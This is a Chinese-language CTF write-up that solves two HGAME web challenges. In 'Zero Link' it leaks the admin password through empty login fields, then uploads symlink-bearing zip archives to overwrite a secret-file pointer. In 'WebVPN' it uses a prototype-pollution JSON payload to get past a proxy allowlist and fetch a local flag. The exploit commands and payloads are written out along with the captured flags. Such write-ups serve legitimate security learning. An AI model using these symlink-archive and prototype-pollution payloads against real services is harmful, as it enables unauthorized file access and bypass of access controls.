获取中...

-

Just a minute...

by:Infernity

Zero Link

这道题我做了好久,源码一大堆,撇去其他的,主要是file.go和routes.go这两个文件。

首先进入manager页面,需要登录,只有Admin才允许登录,我们需要拿到admin的密码,源码里给隐藏起来了,

Zero Link/internal/database/sqlite.go

这个文件里有所有人的密码,但是没有admin的,我们需要去找找。

我们抓这个包

图片.png

然后把Username和Token都留空,就会得到admin的密码了。

图片.png

拿到密码后可以登录,登录进去之后可以传zip文件,

在routes.go文件中,我们可以看到这些路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
api := r.Group("/api")
{
api.GET("/ping", ping.Ping)
api.POST("/user", user.GetUserInfo)
api.POST("/login", auth.AdminLogin)

apiAuth := api.Group("")
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
}

这里有个/api/unzip的路由,一般unzip就是要打软链接了。

在flie.go文件中找到跟unzip有关的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
func UnzipPackage(c *gin.Context) {
files, err := filepath.Glob("/app/uploads/*.zip")
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get list of .zip files",
Data: "",
})
return
}

for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")//主要就是这一句
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}

c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Unzip completed",
Data: "",
})
}

但是这是给我们把东西解压到了/tmp目录的,我们还是看不到,这里就需要找中间件了。

在routes.go中有这么一条语句apiAuth.GET(“/secret”, file.ReadSecretFile)

就是/api/secret路由,我们找到file.go中相关代码块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
func ReadSecretFile(c *gin.Context) {
secretFilepath := "/app/secret"
content, err := util.ReadFileToString(secretFilepath)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file",
Data: "",
})
return
}

secretContent, err := util.ReadFileToString(content)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file content",
Data: "",
})
return
}

c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Secret content read successfully",
Data: secretContent,
})
}

可以看到secret文件的位置是/app/secret,而/api/secret可以链接这个/app/secret,而这个secret是起到一个读取文件的作用。当前/app/secret的内容是/fake_flag,所以我们打开/api/secret就是读取到了/fake_flag

那么我们就需要打两个软链接,第一个软链接是把/tmp链接到/app,第二个是打入一个我们自己写的secret。

先新建一个文件夹,输入以下命令。

1
2
ln -s /app link
zip --symlinks 1.zip link

这第一个链接到/app的软链接就写好了。把他上传上去,然后进入/api/unzip里解压。

1
2
3
4
5
6
rm link
mkdir link
cd link
echo '../flag' >secret
cd ../
zip -r 2.zip link

接着在同一个文件夹下输入以上命令。

同样的,把2.zip上传并解压,最后打开/api/secret,拿到flag。

图片.png

hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}

WebVPN

这道题给了源码,在flag路由可以获取flag,前提是要满足如下条件,总的来说就是需要走他设置的代理,然后令url=http://127.0.0.1:3000/flag 这就是走本地的url。

1
2
3
4
5
6
7
8
9
10
11
12
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});

但是在源码里给了限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};


app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}

let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})

这里的host只能是他给定的东西,也就是baidu.com才能通过检测。那么我们就需要在strategy里添加一句”127.0.0.1”:true ,方可拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}

这是一段很明显的marge函数,需要进行原型链污染,而调用update的函数点在/user/info路由里。而且要用post方法,在body里传参数。

1
2
3
4
5
6
7
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});

nodejs原型链污染是不可以改属性值的,所以不能通过直接在strategy: {}里添加127.0.0.1:true

我们知道当系统找127.0.0.1的时候,子类没有,就会去找他的父类(原型),所以我们只需要污染原型即可。

{“constructor”:{“prototype”:{“127.0.0.1”:true}}}

在/user/info路由post传参:

图片.png

记得把Content-Type:改成json

传参后进入/proxy?url=http://127.0.0.1:3000/flag

此时会下载下来一个文件,打开文件即可拿到flag。

hgame{c146c76e1eab87f22361cf90e08e51586daeba8b}

相关文章
评论
分享
  • SUCTF 2025 WEB部分wp

    SU_photogallery 尝试源码泄露 https://www.cnblogs.com/Kawakaze777/p/17799235.html![e0dcf5e1-a150-4c37-bd6e-bf45ea40a99b](img...

    SUCTF 2025 WEB部分wp
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛全wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛全wp